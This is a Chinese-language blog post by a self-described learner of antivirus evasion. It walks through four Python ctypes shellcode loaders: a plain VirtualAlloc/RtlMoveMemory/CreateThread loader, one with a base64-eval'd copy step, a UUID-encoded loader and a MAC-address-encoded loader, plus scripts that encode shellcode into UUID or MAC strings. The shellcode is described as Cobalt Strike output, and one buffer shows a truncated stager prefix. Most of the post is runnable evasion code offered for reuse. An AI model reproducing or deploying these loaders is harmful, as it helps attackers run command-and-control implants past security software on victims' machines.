python-shellcode加载器分析

  1. python-shellcode加载器分析
  2. 加载器1-普通型(失败
  3. 加载器2-普通型(成功
  4. 加载器3-UUID写入内存(成功
  5. 加载器4-MAC写入内存

python-shellcode加载器分析

因为最近在学习免杀,所以写个小文来分析一下py的shellcode加载器

shellcode:一段可以由电脑直接执行的机器码,执行后可以搭建起stranger。
加载器:将shellcode加载进内存,并开始执行的程序。

加载器1-普通型(失败

这个加载器就是要报内存地址的错误,本人学艺不精,暂时还无法解决,但我看和市面上的代码一样,所以还是拖过来做一个分析,至少可以了解其中的一些原理,估计是里面的类型的一些问题。

import ctypes
import base64
import requests  #导入了几个库
shellcode = b""   # b' ' 表示这是一个 bytes 对象
shellcode=bytearray(shellcode) #bytearray() 方法返回一个新字节数组。
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64  #设置VirtualAlloc返回类型为ctypes.c_uint64。64位操作系统返回的地址需要是该类型。
#VirtualAlloc是Windows提供的API,通常用来分配大块的内存

ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#申请了一个内存地址,lpAddress 是指定内存开始的地址。dwSize 是分配内存的大小。flAllocationType 是分配内存的类型。flProtect 是访问这块分配内存的权限。这多半就是其中四个参数的含义。ctypes.c_int(x)是指将x转为C语言中的int类型

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) #定义了一个缓冲区数组,把shellcode写进去了  将shellcode指向指针

s='Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='
eval(base64.b64decode(s))
#这一段是
#ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))
#从指定内存中复制内存至另一内存里.简称:复制内存.Destination :指向移动目的地址的指针。Source :指向要复制的内存地址的指针。Length :指定要复制的字节数。也就是把缓冲区的shellcode写入申请好的内存地址

handle = ctypes.windll.kernel32.CreateThread(#要创建在另一个进程的虚拟地址空间中运行的线程,因为shellcode从零开始运行的,所以这里也从零开始,大概是第一个参数把。
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
    )
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
#正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束

在我将返回类型改成c_void_p以及一个指针改成c_void_p的时候,就不报错了,但是依然上不了线,留着明天来进行分析了

加载器2-普通型(成功

主要是利用ctypes库来调用windows的api来完成加载shellcode的操作

用的y4tacker师傅的代码

import ctypes
#这前三个函数上面讲过了,我就简单写一下就好了
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc#分配内存
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory#将shellcode写入内存
CreateThread = ctypes.windll.kernel32.CreateThread#创建线程
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject  #等待线程结束调用WaitForSingleObject函数用来检测线程的状态WaitForSingleObject函数原型和参数

#DWORD WINAPI WaitForSingleObject(
#__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
#__in DWORD dwMilliseconds  #定时时间间隔
#);

#我的shellcode用的cs生成的
# length: 893 bytes
buf = b""

shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)  # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件

加载器3-UUID写入内存(成功

注意,这里的环境要使用py2

发现了去年有大佬写的一篇文章,随后拖过来进行分析

UUID: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象.

python有根据十六进制字符串生成UUID的函数uuid.UUID()

其中值得注意的是,16个字节转换一个uid值,\x00是一个字节,当不满16个的时候,可以添加\x00补充字数。(我生成的补充三个就可以,倍数是56)

import uuid
scode = b'''aaaaaa'''
list = []
for i in range(int(len(scode)/16)):
     bytes_a = scode[i*16:16+i*16]
     b = uuid.UUID(bytes_le=bytes_a)
     list.append(str(b))
print(list)

上面是一个将shellcode转为uuid的小脚本

#coding:utf-8
import uuid
import ctypes


shellcode = b""

uuid_list = []#将shellcode转为uuid
for i in range(0,len(shellcode),16):
    cut_bytes = shellcode[i:i+16]
    uid = uuid.UUID(bytes_le=cut_bytes)
    uuid_list.append(str(uid))
print(uuid_list)


ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 #定义返回类型

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(uuid_list)*16), ctypes.c_int(0x3000), ctypes.c_int(0x40))  #申请内存,这里的内存必须是列表的十六倍

ptr1 = ptr  #定义了一个内存指针,指向写入的内存地点
for j in uuid_list:
    ctypes.windll.Rpcrt4.UuidFromStringA(j, ptr1)
    ptr1 += 16  #这里每写入一个uuid就控制指针移动16位,方便下次写入
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) #创建线程然后运行
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

加载器4-MAC写入内存

注意,这个我也用的是python2的环境

看到刚刚的大佬,下面有个推荐文章mac写入内存,也顺便弄过来研究一下。

MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的 。

RtlEthernetAddressToStringA

该函数是ntdll.dll库的函数,可以把mac地址二进制格式转换为字符串表示。就两个参数,一个是二进制的mac地址,一个是缓冲区的指针,在该缓冲区中存储以NULL结尾的以太网地址字符串表示。此缓冲区应足够大以容纳至少18个字符串。

下面是一个加密脚本,将shellcode加密成mac地址

import ctypes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8..."

shellcode = buf
macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17,0x3000,0x40)#由于我们转换成mac后,6个字节变成了17个字节,所以需内存大小自己算一下

for i in range(len(shellcode)/6):#然后每隔六个字节进行一次转换,此时内存地址递增17
     bytes_a = shellcode[i*6:6+i*6]
     ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)

a = ctypes.string_at(macmem, len(shellcode) * 3 - 1)
list = []
for i in range(len(shellcode)/6):#将mac地址字符串转换成列表
    d = ctypes.string_at(macmem+i*17,17)
    list.append(d)
print(list)

这里是加载器,加载好mac地址

import ctypes
list = []
ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*6,0x3000,0x04) #申请内存

rwxpage = ptr #指正
for i in range(len(list)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)#通过RtlEthernetStringToAddressA函数,将mac值转为二进制写入内存
    rwxpage += 6#控制指正移位
    

ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))#创建线程然后混淆就可以了
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

目前就找到这么多,如果后续有还会更新的。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。